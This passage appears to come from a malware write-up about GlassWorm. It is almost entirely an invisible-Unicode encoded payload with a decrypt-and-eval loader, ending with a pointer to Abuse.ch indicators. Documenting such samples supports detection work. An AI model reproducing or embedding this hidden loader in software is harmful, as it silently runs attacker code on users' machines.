󠄥󠄠󠄥󠄢󠄩󠄠󠄢󠄩󠄨󠄧󠄨󠅑󠅕󠄩󠅓󠅖󠄦󠅓󠄣󠄣󠄤󠄢󠄨󠄦󠅓󠅖󠄤󠅒󠄢󠄦󠅑󠄨󠄠󠄡󠅖󠅔󠄦󠄨󠄡󠄧󠅑󠄠󠄠󠄨󠅖󠅔󠄦󠄦󠄧󠄦󠅔󠅒󠅕󠄦󠅒󠅓󠅑󠅒󠅕󠄥󠄦󠄦󠅒󠅖󠅔󠄦󠄧󠅕󠄧󠄡󠄠󠅒󠄧󠅔󠄠󠅓󠄠󠅔󠄡󠄧󠄠󠄡󠅒󠄥󠄦󠅕󠅖󠄠󠄦󠄧󠄢󠄢󠅑󠄡󠄩󠅖󠅑󠅕󠅔󠅔󠄣󠄢󠅕󠄥󠄨󠄤󠄢󠅕󠄦󠄨󠅖󠄨󠅔󠄥󠄢󠄣󠄦󠅕󠅓󠄠󠄤󠄤󠄤󠅓󠄩󠄡󠅓󠄨󠄣󠅕󠄤󠅖󠄤󠄩󠅖󠄦󠅑󠄣󠅕󠅒󠄢󠅒󠄧󠄩󠅕󠅒󠅑󠄠󠄧󠅒󠄨󠅕󠄦󠄣󠄣󠄨󠄢󠅖󠄡󠄧󠄩󠅓󠅒󠅕󠄦󠅓󠄢󠄤󠅕󠄧󠄡󠄦󠄣󠅕󠅑󠄣󠄦󠄢󠄡󠅔󠄢󠄨󠄥󠅓󠄧󠄥󠄤󠅔󠄢󠄤󠅓󠅑󠄥󠄩󠅒󠄨󠄩󠄤󠅑󠄠󠅕󠄠󠅔󠄠󠄡󠄢󠅓󠅖󠅓󠄤󠅓󠅒󠄤󠄨󠄦󠄥󠅕󠅖󠅑󠄣󠅓󠄣󠅕󠄤󠄤󠅔󠅖󠄢󠄠󠅓󠅔󠄢󠅑󠄢󠅑󠅓󠄨󠄥󠅖󠅖󠅓󠅑󠄤󠄡󠄥󠄢󠅓󠄥󠄨󠅓󠄨󠄥󠄨󠄣󠅒󠄡󠄠󠄥󠅕󠄠󠄧󠄩󠅕󠄧󠄢󠅑󠄡󠅑󠅕󠄨󠅕󠄦󠄡󠅔󠄠󠄡󠄦󠄨󠄥󠄥󠅔󠄡󠅓󠅔󠅔󠄠󠄡󠄧󠅑󠄧󠄢󠄧󠅖󠄡󠄢󠅒󠄢󠄥󠅒󠅖󠄧󠄩󠅑󠄦󠄠󠄧󠄩󠄥󠄢󠄦󠄩󠄡󠄨󠄡󠄣󠄢󠄣󠄨󠄧󠅒󠄢󠄠󠄢󠄦󠄧󠅖󠄣󠄣󠄥󠄤󠄠󠅔󠄥󠄧󠄩󠄣󠄩󠅔󠄡󠄤󠄦󠄥󠄣󠄠󠅕󠄨󠅖󠅑󠄠󠄨󠅖󠄢󠄥󠅑󠅓󠄢󠄡󠄡󠅕󠄩󠄥󠅓󠄨󠄧󠄣󠄧󠅒󠄤󠄠󠄡󠄢󠄥󠅑󠅒󠅖󠄦󠄥󠄦󠅕󠄧󠄩󠄣󠅑󠅑󠅖󠅓󠄣󠄢󠅕󠅑󠄡󠅕󠄤󠄩󠄢󠄦󠅓󠄧󠅑󠄧󠅖󠄨󠄠󠄩󠄧󠄤󠅖󠄠󠄧󠅕󠅒󠄨󠅑󠅑󠄠󠅑󠄣󠅒󠅑󠅓󠅖󠅖󠄧󠄩󠄧󠄦󠄠󠄢󠅒󠄣󠄤󠄤󠅖󠄡󠅒󠄢󠄤󠄣󠄣󠄣󠅔󠄡󠅕󠅔󠄢󠅔󠄡󠅔󠄤󠅕󠄠󠅕󠅒󠄡󠅓󠅓󠄧󠄩󠄦󠄩󠄠󠄥󠅒󠄢󠄧󠅖󠄨󠄩󠅓󠄢󠅕󠄨󠅔󠄥󠅖󠅒󠄦󠄣󠄦󠄢󠄥󠄤󠄣󠄦󠄨󠄨󠄨󠄧󠅔󠅓󠄨󠅑󠄦󠄠󠅔󠅖󠄤󠅔󠄥󠄥󠄢󠄦󠄢󠅖󠅖󠅔󠄤󠅒󠅕󠅔󠅑󠅔󠄧󠄨󠄤󠅑󠄩󠄩󠅕󠅓󠄤󠄣󠄦󠅔󠅓󠅖󠅑󠅖󠄧󠄤󠄠󠄣󠄦󠄩󠄦󠄩󠅒󠄥󠄠󠄣󠄦󠅔󠄩󠅓󠅕󠄨󠄦󠄥󠄣󠄦󠄢󠅒󠄦󠅒󠅕󠅓󠄥󠄢󠅒󠄦󠄤󠅕󠄩󠅒󠄦󠄢󠅔󠄡󠅕󠄡󠄩󠄣󠄢󠄢󠄦󠄩󠅑󠄤󠅒󠅓󠅓󠄦󠄠󠄤󠄥󠅓󠄠󠅕󠅑󠄩󠄢󠅓󠄡󠄣󠄦󠄩󠅔󠅓󠄥󠅒󠅖󠅓󠄤󠅖󠅓󠄡󠅒󠄨󠄨󠅕󠄨󠄢󠄩󠄡󠄤󠄤󠅔󠄣󠅕󠅑󠄡󠅓󠅓󠅖󠅖󠄩󠄠󠄡󠅓󠄤󠅓󠅑󠄦󠄦󠄧󠄦󠄥󠄨󠄥󠅕󠅓󠄦󠄡󠄢󠄩󠅓󠅑󠄧󠄣󠄣󠅖󠅔󠄥󠄦󠄨󠅒󠄠󠅓󠄡󠅖󠄥󠄦󠅒󠅕󠄢󠅒󠅑󠅓󠄣󠅔󠅓󠄢󠄦󠄩󠅕󠄡󠄧󠅒󠄠󠄤󠄢󠅑󠄩󠅖󠅒󠄠󠄩󠄠󠄥󠅑󠄩󠄤󠅓󠅕󠅓󠅔󠅔󠅒󠄢󠄩󠅔󠄣󠄡󠅕󠅓󠅕󠅕󠄠󠄩󠄡󠄦󠅖󠅑󠄤󠅕󠅖󠄢󠅓󠄥󠄧󠅖󠅖󠄩󠅕󠄧󠄠󠄨󠄤󠄥󠄣󠅖󠄥󠄥󠅒󠄢󠅑󠅔󠄥󠄨󠅖󠄩󠄧󠅒󠄨󠅒󠅖󠄤󠄣󠅓󠄤󠅕󠄤󠅒󠄣󠅕󠄣󠅖󠅒󠄨󠅖󠄧󠄧󠅓󠄠󠅒󠅒󠄩󠅖󠄨󠄠󠄤󠄠󠄩󠄨󠄨󠄨󠄨󠅓󠄣󠄦󠄣󠄩󠅓󠄠󠄢󠄦󠅕󠄧󠄦󠅒󠄠󠄠󠅒󠄥󠅔󠄨󠅔󠄣󠅑󠄢󠄦󠅕󠅒󠄤󠄣󠄠󠄣󠄥󠅓󠅑󠄥󠄢󠄡󠄢󠄤󠅕󠅒󠄣󠄠󠄨󠅑󠄡󠅓󠅒󠄡󠅒󠄦󠄤󠄦󠄢󠄦󠄣󠅒󠄦󠄢󠅔󠄡󠄣󠅓󠄥󠄦󠅕󠄡󠄥󠅒󠅕󠄨󠅓󠄧󠅖󠄩󠄦󠅕󠄡󠄧󠅔󠅔󠅖󠄢󠄠󠄨󠅕󠄥󠄤󠅖󠄥󠅒󠅔󠄨󠅒󠄢󠄤󠄨󠄤󠅓󠅔󠄩󠄤󠅑󠅕󠄣󠄤󠄥󠄧󠅒󠄢󠄢󠄢󠄥󠄡󠄡󠄣󠅕󠄠󠅑󠄥󠄥󠅓󠄡󠅒󠅓󠅒󠅕󠄢󠄤󠅕󠄧󠅕󠄠󠅖󠅓󠅓󠄦󠄢󠄦󠄧󠄥󠄡󠄤󠄧󠄤󠄤󠅕󠄣󠄥󠄧󠄡󠄩󠄣󠄣󠅖󠅔󠄢󠄥󠄧󠄣󠄧󠅑󠄡󠄢󠄡󠅕󠅑󠅖󠄨󠄨󠄣󠄣󠄦󠄨󠄣󠄦󠅒󠄣󠄦󠅒󠅒󠄥󠄧󠄠󠄢󠄢󠄣󠅒󠄣󠄨󠄡󠅑󠄦󠄨󠅕󠄠󠄠󠅕󠅒󠄣󠅑󠅖󠄤󠄩󠅒󠄧󠄩󠄧󠅑󠄧󠅑󠅖󠄣󠅑󠄤󠄠󠄤󠅔󠄤󠄤󠅕󠄡󠅓󠄢󠄣󠅕󠅕󠄢󠄥󠅑󠅓󠄤󠅑󠄥󠄦󠄥󠅔󠄣󠄢󠄣󠄥󠄥󠄢󠄤󠅓󠄤󠄢󠄥󠄨󠄦󠄡󠄩󠄠󠄩󠅓󠅖󠅕󠄧󠅒󠄤󠅔󠄤󠅒󠄩󠅑󠄢󠄡󠄩󠄧󠅕󠅑󠄢󠄣󠅕󠄣󠄦󠅖󠄣󠅒󠄧󠄢󠄨󠅑󠄠󠄢󠄧󠄤󠄡󠄧󠄧󠄧󠄦󠄣󠅑󠅕󠄨󠅖󠄦󠄢󠄧󠄨󠄥󠄤󠄥󠄢󠄩󠅑󠅔󠅓󠄥󠅑󠄢󠄨󠄨󠅑󠄨󠅑󠄥󠄧󠄩󠅖󠄨󠄤󠄦󠅑󠄣󠄩󠄧󠄦󠅑󠄨󠄡󠄥󠄡󠄤󠄧󠅑󠅑󠄦󠄧󠅒󠄥󠅑󠅔󠄦󠅖󠅓󠄦󠅕󠅕󠄠󠄨󠅖󠄦󠅔󠅖󠄠󠄡󠄡󠅓󠄠󠄡󠅔󠄡󠅓󠄧󠅔󠅖󠄨󠄥󠅔󠅒󠅖󠅕󠅒󠄤󠄨󠅓󠄨󠄢󠅑󠄦󠅓󠄤󠄣󠄣󠅓󠄣󠄦󠄤󠄩󠅑󠄥󠄤󠄧󠅓󠅔󠄢󠅓󠄤󠅒󠄥󠄢󠄩󠄥󠄠󠄨󠅓󠄧󠄨󠄥󠅓󠄠󠄢󠄤󠅔󠄧󠅓󠅔󠄥󠄠󠄢󠅔󠄦󠅖󠄡󠄦󠄥󠅑󠄤󠅕󠄨󠄩󠅔󠄢󠅓󠄧󠄤󠅔󠄣󠄩󠅕󠄦󠄡󠅔󠄢󠅕󠄢󠅕󠅕󠄠󠅕󠄩󠄩󠄣󠅕󠅖󠄣󠄢󠅕󠅒󠅔󠄡󠅒󠅑󠄣󠅕󠄨󠄠󠅔󠅔󠅑󠄩󠄩󠄣󠅔󠄠󠄩󠅓󠄥󠄢󠄨󠅔󠄥󠄨󠄦󠄡󠄠󠄦󠄠󠄣󠄦󠅕󠄠󠄥󠄨󠅖󠅖󠅖󠄩󠄣󠄧󠄣󠄢󠅑󠄩󠅑󠄣󠄣󠄦󠄤󠄣󠅔󠄩󠅒󠅑󠅑󠅕󠅓󠄠󠅑󠅑󠅑󠅒󠄠󠄥󠅖󠄣󠄡󠄡󠅓󠅖󠅔󠄠󠄨󠄢󠅒󠄠󠄢󠄧󠅔󠄢󠅔󠄥󠄩󠄥󠄢󠅒󠅓󠄡󠄣󠄠󠅒󠅕󠅖󠄥󠅕󠅑󠄨󠅑󠄤󠄠󠄦󠅓󠄠󠄢󠄡󠅓󠅒󠄢󠅒󠄣󠄡󠄧󠄨󠅕󠅓󠅓󠄧󠄠󠄡󠄩󠅔󠅕󠅑󠄢󠄨󠄥󠅕󠅖󠄦󠄡󠄦󠄤󠄦󠄣󠅕󠅕󠅑󠄧󠄦󠅕󠅓󠄦󠅓󠄡󠄩󠄡󠄥󠅖󠄤󠅒󠅓󠅔󠄧󠅒󠄥󠅔󠅒󠄥󠄡󠄥󠄣󠅓󠅔󠅑󠄡󠄦󠅒󠄢󠄢󠅑󠅖󠄣󠄤󠅔󠅖󠅖󠄡󠄥󠅓󠄤󠅕󠅕󠄡󠄧󠄩󠄦󠅑󠅑󠄠󠅑󠅒󠄠󠅒󠄤󠅓󠅖󠄤󠄥󠄦󠄤󠄧󠄣󠅒󠅓󠄩󠄧󠅔󠅕󠄠󠅔󠅕󠄤󠄦󠅕󠄨󠅓󠅔󠄡󠄢󠅕󠅔󠄠󠄦󠄣󠄧󠅑󠄣󠅖󠅖󠅕󠄧󠄩󠅑󠅔󠄥󠅓󠄦󠅑󠅕󠅕󠄨󠅑󠅕󠅑󠄥󠅖󠄥󠄧󠅒󠅒󠄢󠅓󠄨󠄢󠄧󠄤󠄥󠄣󠄣󠄠󠅓󠄦󠄢󠄨󠄧󠄢󠅑󠅖󠄤󠅖󠄢󠄧󠅓󠄩󠅖󠄧󠄢󠅑󠄩󠅒󠄤󠄣󠄠󠅖󠄥󠄤󠄧󠄥󠄧󠄩󠄠󠅓󠄦󠄢󠅔󠄤󠄥󠄠󠅒󠅓󠅑󠄢󠅕󠄤󠄧󠄧󠄦󠄡󠄧󠄦󠅕󠄥󠄤󠅓󠄠󠅓󠅕󠄦󠅒󠅓󠅑󠅒󠄡󠄥󠄧󠅒󠄨󠄥󠄧󠅑󠄠󠅕󠄢󠄧󠄠󠄣󠅔󠄤󠄥󠄠󠅔󠄡󠅕󠄩󠄠󠅕󠅖󠄩󠅑󠅔󠅑󠅔󠄢󠄢󠄥󠄧󠅕󠅓󠄢󠄠󠄢󠅖󠄤󠄠󠅒󠄣󠄠󠄧󠄤󠄡󠄢󠅔󠄢󠄣󠄨󠄦󠅖󠄨󠄠󠅕󠄦󠅑󠄤󠄥󠄤󠄠󠅑󠄨󠄦󠄢󠄩󠄩󠄩󠄧󠅔󠄢󠄡󠅒󠄡󠄤󠅒󠅖󠅖󠅖󠄨󠄨󠄤󠅔󠄦󠄨󠄥󠄥󠄥󠅔󠄦󠄠󠅑󠄠󠄣󠅕󠅓󠅕󠄦󠅓󠄧󠅖󠄡󠄥󠄤󠄥󠅒󠅓󠅓󠄢󠄦󠅑󠅖󠄩󠄡󠄦󠄡󠅔󠄡󠄡󠄥󠅖󠄩󠅕󠄠󠅓󠅓󠄩󠄢󠄦󠄢󠅒󠄡󠄧󠅓󠅒󠄧󠅔󠄥󠅕󠅖󠄧󠅑󠄨󠄧󠄠󠄥󠄨󠅖󠄦󠄣󠄥󠄠󠄣󠅓󠄤󠄥󠅑󠄡󠄥󠄥󠄢󠄤󠄥󠅒󠄨󠅕󠅑󠅔󠄡󠅓󠅓󠄨󠅓󠄩󠄧󠄨󠄥󠄡󠄤󠄥󠅒󠄥󠅓󠄣󠄨󠄦󠄣󠄠󠅒󠄣󠄢󠅑󠅑󠄤󠄤󠄣󠄣󠅒󠅓󠄩󠄩󠅑󠄤󠄤󠄢󠄧󠅑󠄣󠄥󠄩󠄣󠄤󠅕󠅒󠄥󠄥󠅕󠄠󠄣󠄡󠅕󠄩󠄡󠄨󠄤󠅕󠄢󠄥󠅓󠅖󠄧󠅒󠄨󠄣󠄡󠅒󠅑󠄧󠅔󠄣󠅒󠅖󠅒󠄥󠄤󠄢󠅖󠅖󠅑󠅕󠅑󠅔󠅑󠅒󠄥󠄠󠄨󠅑󠄥󠄥󠅖󠄡󠅑󠅔󠅑󠄨󠅕󠅕󠄥󠄧󠄨󠅑󠅓󠅓󠅔󠅓󠅒󠄡󠄢󠄡󠄨󠄠󠄦󠅓󠅖󠄠󠅑󠅑󠄣󠄡󠅓󠄦󠄦󠄩󠄥󠄤󠅓󠄥󠅕󠅒󠄦󠄧󠅓󠄤󠅔󠅓󠅖󠅒󠄨󠄢󠄦󠅓󠄧󠅒󠅖󠅓󠅔󠄦󠄧󠅔󠅑󠄨󠄡󠄧󠄨󠄡󠄣󠄩󠄥󠄧󠄧󠄡󠅑󠄥󠄠󠅒󠄠󠄧󠅒󠄥󠄨󠄧󠄨󠄥󠄠󠄢󠄡󠄩󠄤󠅒󠅔󠄢󠄦󠄢󠅕󠄨󠅕󠅑󠄧󠄡󠄣󠅕󠄥󠅖󠄧󠄧󠅖󠅑󠄥󠄣󠅖󠅔󠅒󠄠󠄡󠄡󠄧󠅔󠅒󠄨󠄤󠅔󠄧󠄥󠅓󠅒󠄨󠄦󠅒󠄧󠅕󠅔󠄤󠄦󠄣󠄥󠄡󠄧󠄩󠅓󠅑󠅑󠅖󠅓󠄤󠅒󠄣󠄩󠅔󠄨󠄨󠄢󠅒󠄡󠄨󠅕󠄦󠄠󠅓󠅖󠄨󠅑󠄡󠄢󠅑󠄠󠄩󠅑󠄩󠄥󠄩󠄢󠅑󠄦󠅔󠄩󠄥󠅒󠄤󠅑󠅔󠄦󠅒󠄢󠄤󠅔󠄠󠅕󠄦󠄦󠅔󠄧󠄤󠅖󠄠󠄢󠅔󠅕󠅓󠅓󠅖󠄣󠄦󠅖󠅕󠄨󠅖󠅖󠅒󠅔󠄦󠄢󠄩󠅖󠅔󠅔󠅕󠄦󠄦󠄣󠄩󠄨󠄩󠅖󠅒󠄣󠄣󠄡󠄣󠅖󠄧󠅖󠅓󠄩󠄠󠄨󠅓󠅑󠅔󠅒󠄡󠄡󠄠󠅖󠄣󠄡󠄠󠄦󠄤󠄩󠅔󠅖󠅒󠅑󠅖󠄦󠄤󠅖󠄢󠅓󠄩󠅔󠄤󠅖󠄦󠄨󠄤󠅖󠅒󠅑󠅑󠄢󠅒󠅕󠅒󠅔󠄦󠅒󠄨󠅔󠄡󠅕󠄡󠄨󠄠󠄢󠄨󠅔󠅒󠅒󠄢󠅖󠅕󠄤󠄠󠄣󠅔󠅑󠄦󠅓󠅖󠄤󠄡󠄦󠄦󠄤󠅒󠅕󠄧󠄡󠄡󠅕󠄩󠄤󠄧󠅑󠅒󠅑󠄤󠄨󠄩󠄡󠅕󠅕󠄤󠄩󠅒󠄦󠅓󠄥󠄣󠅒󠅓󠄧󠅕󠄦󠅓󠅖󠅔󠄧󠄡󠄣󠅔󠄣󠄢󠄨󠄤󠅑󠄣󠄧󠄦󠅔󠄥󠄧󠅔󠄠󠄡󠄦󠄣󠄥󠅑󠄣󠄦󠄧󠄧󠄡󠄠󠄡󠅑󠅕󠄤󠅕󠄥󠅑󠄨󠄩󠄢󠄥󠅓󠄥󠄨󠄢󠄠󠄧󠅕󠅖󠄤󠄡󠅖󠅒󠅖󠄨󠄢󠄨󠄤󠄠󠄩󠅓󠄢󠄢󠅖󠄨󠅔󠄢󠄧󠅒󠄥󠅕󠅒󠄤󠄡󠄩󠄦󠄥󠄤󠄨󠅖󠅓󠅖󠄡󠄠󠅕󠅕󠄠󠄨󠄠󠄦󠄥󠄩󠅕󠄩󠄥󠅑󠄤󠅒󠄩󠄨󠄧󠄦󠅒󠅔󠄦󠅒󠅓󠄥󠄦󠄨󠅒󠅑󠄦󠅖󠅓󠅒󠅔󠄨󠅑󠄩󠅕󠄩󠄨󠅓󠄢󠄢󠄤󠅖󠄣󠅔󠄩󠄣󠄢󠅕󠄤󠅖󠄩󠄣󠄠󠅔󠄡󠄡󠄦󠅑󠄠󠄩󠄢󠄧󠅕󠅓󠄦󠄧󠄩󠄢󠄩󠄠󠅒󠅖󠄧󠄠󠄦󠄢󠄧󠅔󠅓󠅓󠅑󠄩󠄤󠅖󠄨󠄦󠄩󠄦󠄩󠅖󠄩󠅑󠄨󠄦󠄣󠄦󠅔󠄡󠄧󠄧󠅒󠅔󠅑󠄩󠅖󠅑󠅕󠅑󠅒󠅔󠄣󠅕󠄩󠅓󠄥󠅕󠅖󠄧󠄧󠅒󠄠󠄦󠅕󠄢󠄢󠄡󠅕󠅔󠅖󠄦󠅑󠄠󠄥󠅑󠄠󠅔󠄦󠅖󠅖󠄥󠄩󠄢󠅓󠄨󠄤󠅕󠅑󠄣󠅑󠄠󠅖󠅔󠄢󠅔󠅔󠄩󠄣󠄡󠅕󠄢󠄨󠅒󠄦󠄩󠄣󠄦󠄢󠄥󠄣󠄨󠄦󠅔󠅖󠄤󠅓󠄨󠄣󠅔󠅕󠄥󠄤󠅖󠅑󠄤󠄦󠄥󠄠󠄨󠄨󠄣󠅒󠄡󠄦󠄥󠄣󠄠󠄢󠄢󠄢󠄥󠅑󠄧󠅖󠄦󠄡󠄤󠄤󠅒󠅕󠅓󠄠󠅔󠅖󠄦󠄣󠄡󠅔󠄡󠄩󠄢󠄠󠄠󠄩󠅒󠄦󠅕󠄠󠅒󠅑󠄥󠄩󠄢󠄧󠅖󠄠󠅔󠄧󠅔󠄤󠄢󠄥󠄧󠅕󠄠󠄣󠄤󠄨󠄣󠅕󠄩󠄣󠄡󠅒󠅖󠄢󠄩󠅓󠄡󠄡󠄡󠄩󠄨󠅔󠄠󠄡󠄧󠅑󠅖󠅔󠅒󠄢󠅔󠄡󠅒󠄨󠄢󠄡󠄦󠅒󠄥󠄦󠅒󠅑󠄨󠄢󠄣󠅓󠄣󠄡󠄦󠄩󠅔󠅑󠄣󠅓󠄣󠄨󠄨󠄤󠄨󠄩󠄧󠅒󠅓󠅑󠄢󠅔󠄦󠄩󠄧󠄡󠄡󠄩󠄤󠄨󠄢󠅒󠄩󠄥󠅕󠄠󠅓󠄨󠄨󠅓󠅔󠅓󠄥󠄡󠄤󠄢󠄩󠅕󠄩󠅓󠄤󠅓󠄠󠄡󠄥󠅔󠄡󠄣󠄤󠅔󠄤󠄥󠄥󠄩󠅒󠄤󠄦󠄣󠄥󠄥󠄢󠅔󠄤󠄦󠄠󠄧󠄡󠄢󠄡󠅔󠄦󠅑󠄦󠄠󠅖󠄤󠄤󠄥󠄡󠄢󠄠󠅖󠄠󠄤󠄡󠄦󠅔󠅒󠄣󠅖󠄢󠄥󠄤󠄠󠄧󠄠󠅑󠄦󠅔󠅖󠄣󠅔󠅒󠅒󠄣󠄤󠄣󠄡󠅔󠄣󠅓󠄥󠄡󠄠󠅔󠄣󠄣󠄩󠄠󠄦󠄦󠄤󠅔󠄣󠅔󠅔󠄧󠅒󠄣󠄩󠅑󠅑󠅔󠄢󠅓󠄨󠅒󠄣󠄩󠅔󠄡󠄢󠄣󠄠󠅕󠄣󠄠󠄨󠅒󠅔󠄡󠄥󠄤󠄨󠄣󠄦󠄩󠄣󠄣󠄦󠅕󠄣󠅒󠄦󠄥󠄨󠅒󠄠󠄠󠄩󠄩󠅔󠄤󠄦󠅑󠅕󠅓󠄦󠄢󠄦󠄤󠄧󠄤󠄠󠄩󠅖󠄩󠄣󠄤󠄢󠄡󠄥󠄩󠄧󠄥󠅑󠅕󠄧󠄧󠄢󠄨󠅒󠄩󠅔󠄢󠅓󠄦󠄨󠄡󠄨󠄥󠅒󠄤󠅖󠄥󠄠󠅔󠅕󠄦󠅔󠄢󠄢󠄤󠄦󠅖󠅔󠅑󠄧󠄩󠅔󠅔󠄨󠄠󠄡󠄤󠄥󠅖󠅖󠄧󠄩󠅑󠄩󠄥󠄩󠅑󠅓󠄦󠄥󠅒󠄨󠄢󠅔󠄨󠄦󠅓󠄡󠅖󠄨󠄩󠄡󠅓󠅖󠄥󠄠󠄠󠄣󠄦󠄢󠄤󠄠󠅖󠄦󠄠󠄧󠄥󠅒󠅔󠅑󠄢󠄥󠄤󠄩󠅑󠄦󠄥󠄩󠅓󠅕󠅑󠄥󠄩󠅔󠄡󠅑󠄢󠅑󠄧󠅕󠄦󠅓󠄦󠄢󠅑󠄦󠅔󠄩󠅒󠅓󠄡󠄠󠅖󠄣󠄥󠅑󠅕󠄣󠅑󠅖󠅖󠄣󠄩󠄩󠅖󠄣󠅖󠅑󠄡󠅒󠅕󠄩󠄥󠄢󠅓󠄣󠄠󠄦󠅓󠅖󠄩󠄧󠄣󠅒󠄧󠅔󠅒󠄢󠄧󠄣󠅕󠄢󠄧󠄣󠄦󠄧󠅖󠄩󠄢󠅒󠅕󠄢󠅖󠅑󠄧󠅒󠄥󠄨󠅖󠄧󠄥󠄦󠅕󠄡󠅕󠅒󠄢󠄠󠄦󠄩󠅕󠅑󠅒󠄥󠄧󠄣󠄠󠅒󠄣󠄩󠄩󠅒󠅑󠅒󠅓󠅖󠄩󠅔󠄩󠄥󠄤󠄧󠄥󠄩󠄢󠅑󠅑󠅓󠅑󠄣󠄤󠄧󠅔󠄢󠄥󠅑󠅑󠄨󠄠󠄧󠅔󠅑󠄣󠄣󠅔󠄣󠄩󠅕󠄣󠅑󠄥󠄩󠄤󠄤󠅔󠅔󠄩󠅑󠅕󠄤󠅖󠅖󠅕󠅒󠅔󠄤󠅒󠄥󠄧󠄤󠅕󠅑󠅔󠅔󠄣󠅖󠅓󠄨󠅓󠅒󠅓󠄨󠄠󠄩󠄣󠅕󠄠󠄩󠄧󠅖󠄡󠄡󠅑󠄡󠄦󠄥󠅓󠄣󠄨󠅖󠅖󠄩󠄩󠄨󠄦󠄥󠅔󠅕󠅔󠄥󠅕󠄤󠄨󠄡󠄠󠄣󠄨󠄡󠄣󠅔󠅒󠄩󠄩󠅕󠄠󠄩󠄧󠅕󠅔󠄥󠄢󠄥󠄨󠄥󠄢󠄦󠄥󠅒󠅖󠄠󠅖󠅒󠄡󠄡󠄠󠄣󠅔󠅖󠅒󠄦󠅔󠅒󠅔󠄢󠄤󠄥󠅑󠅑󠄢󠅕󠄧󠄠󠅒󠅔󠅖󠅑󠄩󠅑󠄢󠄥󠅕󠄤󠅕󠅒󠅒󠄠󠄢󠄢󠅖󠄧󠄢󠄤󠄢󠅓󠅓󠅓󠄩󠅒󠅒󠄩󠅑󠄡󠅕󠅒󠄦󠅖󠄨󠅕󠄣󠅓󠄨󠄥󠄢󠅒󠅕󠄢󠄤󠄧󠄤󠄣󠄥󠄧󠄦󠅓󠄣󠅓󠄡󠄦󠅕󠅕󠄣󠅓󠄩󠄢󠅒󠄦󠄤󠅖󠅑󠄤󠅔󠄧󠄣󠄡󠄣󠅕󠄥󠄧󠅕󠄤󠄤󠅑󠅒󠄤󠅒󠅔󠅖󠄦󠄧󠅓󠅕󠅔󠄦󠅔󠅒󠅓󠅒󠄥󠅕󠄡󠄠󠄩󠄤󠄥󠄤󠄡󠄠󠄠󠄥󠄦󠅒󠄢󠄦󠄣󠅕󠄧󠄧󠅔󠄧󠄥󠄢󠄦󠄦󠄦󠄠󠅕󠅑󠄣󠄧󠅒󠄥󠄣󠅒󠅓󠄤󠄡󠄩󠄦󠄩󠅕󠄥󠄦󠄥󠄠󠄠󠄢󠄢󠄦󠄥󠅖󠅓󠅖󠅑󠅑󠄨󠄥󠅕󠄠󠅖󠄩󠄗󠄜󠄗󠅘󠅕󠅨󠄗󠄜󠄗󠅥󠅤󠅖󠄨󠄗󠄙󠄫󠅒󠄛󠄭󠅔󠄞󠅖󠅙󠅞󠅑󠅜󠄘󠄗󠅥󠅤󠅖󠄨󠄗󠄙󠄫󠅩󠅙󠅕󠅜󠅔󠄐󠅞󠅕󠅧󠄐󠅀󠅢󠅟󠅝󠅙󠅣󠅕󠄘󠅢󠄭󠄮󠅣󠅕󠅤󠅄󠅙󠅝󠅕󠅟󠅥󠅤󠄘󠅢󠄜󠄥󠄠󠄠󠄙󠄙󠄫󠅩󠅙󠅕󠅜󠅔󠄐󠅕󠅦󠅑󠅜󠄘󠅒󠄙󠄫󠅭󠄙󠄘󠄙󠅍󠅋󠄠󠅍󠄞󠅤󠅘󠅕󠅞󠄘󠄘󠄙󠄭󠄮󠅫󠅭󠄙󠄫)).toString(’utf-8’)); ``` {% endcode %} ### [**Abuse.ch**](http://abuse.ch) **has a bulk of IPs and URLs with tags for glassworm**